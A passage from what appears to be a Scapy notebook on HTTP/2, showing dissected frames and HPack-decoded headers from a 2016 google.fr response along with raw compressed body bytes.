f7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = 0x167\n",
- " | type = HdrsFrm\n",
- " | flags = set(['End Headers (EH)'])\n",
- " | reserved = 0L\n",
- " | stream_id = 1L\n",
- " |###[ HTTP/2 Headers Frame ]### \n",
- " | \\hdrs \\\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 8\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 33\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 22\n",
- " | | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 36\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Literal\n",
- " | | | len = 2\n",
- " | | | data = 'HPackLiteralString(-1)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 24\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 13\n",
- " | | | data = 'HPackZString(private, max-age=0)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 31\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 22\n",
- " | | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 0\n",
- " | | \\hdr_name \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Literal\n",
- " | | | len = 3\n",
- " | | | data = 'HPackLiteralString(p3p)'\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 81\n",
- " | | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 78\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 54\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Literal\n",
- " | | | len = 3\n",
- " | | | data = 'HPackLiteralString(gws)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 28\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 3\n",
- " | | | data = 'HPackZString(4420)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 72\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 0\n",
- " | | \\hdr_name \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 11\n",
- " | | | data = 'HPackZString(x-frame-options)'\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 9\n",
- " | | | data = 'HPackZString(SAMEORIGIN)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 55\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 165\n",
- " | | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 71\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = 0x122b\n",
- " | type = DataFrm\n",
- " | flags = set(['End Stream (ES)', 'Padded (P)'])\n",
- " | reserved = 0L\n",
- " | stream_id = 1L\n",
- " |###[ HTTP/2 Padded Data Frame ]### \n",
- " | padlen = 230\n",
- " | data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82<O\\xd8u\\x11\\xae\\x1cr^\\xa2\\x9f\\xbc\\x85\\xd9\\xc8>\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3<K7\\x17\\xda\\xdc\\x18\\x1dm\\xecr\\x0b\\xf4\\xaf^\\xbct\\x8e\\x16\\xf9\\x91\\xbd\\xe9u{v{\\xabT\\x08\\x91\\xe7|\\xf8XcG\\xa1\\xa3\\xd5\\xdf\\x01\\x13\\x17\\x97NC@{\\xebE\\x9awW4W\\\\\\x9bv:\\xdd\\x03\\x8a(O\\x85\\xc8C\\xb7\\x10\\xec\\xfe\\xfe\\xa0\\xeb:\\xbb}]\\xc2B\\x9f\\xf4z=\\xbbGa(\\xa39\\x04\\x87\\xdfR\\x9f\\xd99\\x13E\\x9e(\\xee\\xfd}\\xbd\\xce\\x8b\\xcbMk\\xe6\\x97_\\x9b\\xdaI\\x8a(\\xfa\\xfb\\xf3G\\xdf[@3)\\x866\\xee\\xb4\\xf4Sb\\xc80\\xcag\\xc4q\\xaa\\xd0\\x12\\xa5\\x1eE\\x8c>\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88<u\\xd1|\\x876\\xfb\\xb0\\xf8\\xe8\\xb8\\xb6\\xdbO\\x13\\x86B8\\xf8\\x15\\xa5\\xd4\\x97\\x1f\\xd4Ms\\xd1^\\xb6\\xcf\"&\\x98\\x82T\\x1b{\\'dw:;\\xcd\\xfe\\x8aE\\x8ft\\xf5\\xa3\\xe2\\xf1^P\\x1e,\\x82\\xe7\\x9eC[.\\xbd8\\xd67m}\\x80\\xb8\\x8f\\xaa\\xa4\\x94\\x90\\x90\\x96h\\xfc\\xfe\\x9e\\x10\\xdb\\xbb\\xbf?\\xd1\\x0f@\\x16\\xceh\\x0e6!\\x1d\\x16:\\xa4w\\x7f\\xdf\\x05t\\xf9}\\xdc\\xde4]\\xbf\\xa7\\x9e\\xe8N\\x1b?\\x92\\x04\\xe0\\xb5\\xbe\\xb3\\xe3\\xe4\\x80\\x8a\\xbd\\xec\\xd8\\xa9p\\x8e\\xa1\\xc3\\xa6\\x0e\\xccH\\x06\\xe4\\xb8\\x1b\\x00\\x0cX27\\xb4\\x11\\xe9\\x1d\\x93\\'\\x14r\\xbb\\x13v<H\\xb1\\xc7\\xf4\\x98t<P19v\\x8f\\xd9\\xf1\\x02Z\\x9fo\\xb7+\\x11\\xd2\\r\\xec\\xc1_e\\x1d\\x10\\xf6\\x05\\xe3\\x02\\xf4\\xd3\\xe9\\xb4\\x1d\\xbe\\x8b\\xb3\\xef{ \\xa1D\\xfa\\xe0\\x1a\\x149\\xa3j\\x10\\xc5\\xf1L\\xdf\\xf4T\\n\\xba\\xe9\\xd5;\\x876\\x1a\\xbds\\xd6\\xcd\\xf7\\xed\\x9e\\x83\\xd7(\\x1fh?\\xf4?:\\x1f\\xa0\\xf3c\\xc5\\xe1@\\xdf\\xda\\xe4\\xba\\x1d\\x83\\xd0mv\\xcd\\xb3\\rV\\xd7\\xfd\\xac\\xe0\\xcb\\xee\\x87\\x0f\\xf4#\\x0e|l\\xfb9\\xf5\\x9fF\\xfb\\x1bl\\x9f\\x0e\\xe7\\x07\\x9aM\\xaf\\xef\\xd1(\\xea\\x8ae\\xc8{\\xd2\\xb3\\xe9\\xfe\\xfeV1\\x98,s\\xb6\\xe8C?\\xbb}\\x05{\\xe2\\x90\\xc8\\xbd\\xa1\\x9d:n\\xe9,^\\x8d\\xc2\\x0b\\x97C\\xccI\\x82\\xae{\\xac\\x83\\xd2\\xbb\\x7f\\xddwz\\xd7\\xce\\xa0T\\xba\\x07JF\\x7f\\xf0vXu:\\xb4\\x9f\\xb3,\\xa2\\x1e\\xc4\\xa9A\\xe9)O\\xc8\\xb1\\xd7t\\x96\\\\\\x16\\x99\\xf3\\xe1\\xaf\\xce\\xc7\\xff\\x18\\x04*A\\x17\\x90&_\\x12\\x10\\xe2tP\\x15@\\xa7\\\\\\xdcA=t\\x18\\xb84W\\x0f\\x03L\\n\\x100\\xa14\\xe3\\xe1g6\\xd3\\x87\\xd9\\xad\\x9dQ\\x1f\\xcb\\xb0\\x13\\x91f3=\\xbbU\\x0e\\xc28\\x83MI\\x13ao$\\xddz\\xc9\\xc2`)f\\x86\\x91\\xddn*\\x1e5\\x91\\x9b\\n\\x91\\xc6\\xb3\\xe9.\\x1dV\\x89\\'4\\n\\x83d\\x96#\\xe9\\xa6\\x1f\\xb8K\\x15~\\xfc5\\xecw\\x9f\\xe5\\xcdd<\\x8dB_9\\xf4,\\x7f\\xba\\xd0\\xed\\xd6\\xca`*$\\xaa\\xe7\\xd6\\xec,\\xe5!*\\x7fF] \\x82\\x08n#\\x0fc\\x04\\x12\\xdc\\x84\\xbeX\\xcetM\\xfbq\\xf3\\x8f\\x98\\xf9!U\\xc0\\x80k \\xd7\\xdbK\\xb7c\\x9a\\x07ar\"W4\\xeb\\x8fYl\\xafX.B\\xb0v\\xb5V`XI\\xbc\\x00\\x97\\x11\\xb3\\x88-\\xc4fC\\x91\\x91\\x8a\\xbf\\xa3\\xb5\\x14\\xccg^\\x9aKG\\x98\\x15`\\xb4<\\n\\x13\\xd6\\x92~\\x87@\\xd6\\xaf\\xb3CM\\xf3\\xda\\x180\\x14*\\xedq\\xdf7\\x991\\xddCY\\xec\\xa0@\\xf1\\xd1\\x1e\\xff\\x01L,M[Y\\xd8M\\xfd;U\\xf8*U3\\xb5\\xbf,m\\xbc\\xa0q\\x18\\xdd\\xcdh\\x1e\\xd2H\\xe54\\xe1\\'`\\xbap\\xb1A\\xdcu\\xa9\\rPl\\nZ\\x00yoN\\xeef\\xe04)\\xe4\\xa4\\xc3 \\rj\\x0b\\xcf\\xc0E\\x14\\x13\\xfei\\x1b\\xe1\\xafQ\\xd4\\x93J\\xa7}\\x93\\xc5\\xb0L\\xea\\xcdceoH\\x07\\x7f\\xd8@^\\x8e\\xabYj7144\\xeb\\xb2\\x16i8\\xf16\\xfd\\xeb\\x96\\x8e6}\\xc1\\x91W=\\xb7\\x86\\x1d\\xb5\\xcb\\x00ZD3\\xcef\\xf5\\xc7\\x86\\xc5\\xa5\\x9c7\\xe5\\xacn\\x1a\\xf9\\x95\\x0b\\xa1Jf\\t,\\x80F\\x1b\\x88\\xd4\\xa2\\xf1\\x83q\\xe3.#k\"}\\x8c/BU\\xa2 \\xe5LGQ\\x1f(\\x0c\\xb1x\\x850}\\x14\\xc1\\xe7k?\\xe4\\xb09\\xeffa\"U\\xe1\\xa6\\xb7\\xf6~\\x17\\x04\\x90\\xab\\xca\\r\\xa5^5e\\xb4\\xf5K\\xf4\\xb6\\x19\\xb47a\\x92\\x15b\\xc7\\x82a\\xb2\\x84i\\xda\\x9ee\\xc8\\xdf\\xe1\\xae\\x97\\xe9\\xfa\\x8e\\x97I3\\xbb\\xd4\\xbb\\n\\xf2\\x14\\x1cuv\\xb8X,\\xec\\x12\\xd5\\x85(r\\xb5\\xa1-B{\\xdf\\xb5\\x13\\xc8\\xd7\\x1b:[\\xa2{\\xa8tF!r\\xae\\xd8\\xd77\\xc0\\xa6\\xbf\\x88\\x14\\xda\\xb6,\\x9d\\xadB\\xd8\\xb2\\xcc\\xaf;\\xc7c\\x9d\\x9a\\xee\\xdf\\xdbO\\x12kX\\xce\\xfe\\x00K.\\xed0\\xc0\\xf3\\xa9\"\\x95Q\\xe1U\\xf3\\x80\\x98;;\\x89\\xbb\\x91\\xb7nG\\xb91\\x1a\\x1e{a\\xc1\\xb5\\x89vlc\\xa0mv\\xec\"#e+<\\xc9\\xf8\\x14q\\xd7\\xddQ0c\\xcc.\\xbduV\\x066@\\xb3\\xb7\\xee\\x8b\\x8b\\xf3<O9\\x84cX\\xf5\\x03M\\xbb\\xf2\\xcd\\xa1\\xd6\\xf0\\xdcY\\x14hVD\\xea\\xe1\"\\x8aZ\\xcb}\\xcc\\xa34E7*\\x16\\xedU\\x15P\\xc1\\xd5g\\xee\\x84\\xae\\xe6P\\xe5\\xa4\\x86a\\xe1q\\xba\\x07\\x1ex\\x02\\x873\\x10\\x172\\x0b\\xa3\\xe2\\xa4^\\xae\\xd4\\xb1\\xdd\\xecL\\xcd\\xf6\\x8a\\x9c\\xc3w\\x96\\x86p\\x8c\\xcf\\xdbk\\xb6\\xb7\\x91\\xa4\\x10\\xb8*\\xf8*\\xb7\\xca\\xf8\\x91\\xad\\xf2X\\xcc\\xc5\\x15\\xd7\\x0e\\xd6V\\'(G\\xee\\xde\\xd9\"\\xf5\\n\\xbe\\xae\\xd9K\\xf3o\\xc3_\\x95\\xe8\\x9a\\x8c\\x078W\\n\\xa6\\xdeG\\xae\\x1a\\xa00\\xf7\\x0bO\\x0cB/m\\xee\\x1a\\xa2\\xd4\\xcf\\xfa\\xd0A@\\x07\\x91C\\xf8\\x12\\xfc\\xc6+\\x84\\x02]\\t\\x01\\xbe\\xe55\\x08n&\\xc5\\r\\xa4F\\x1c\\x82>F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb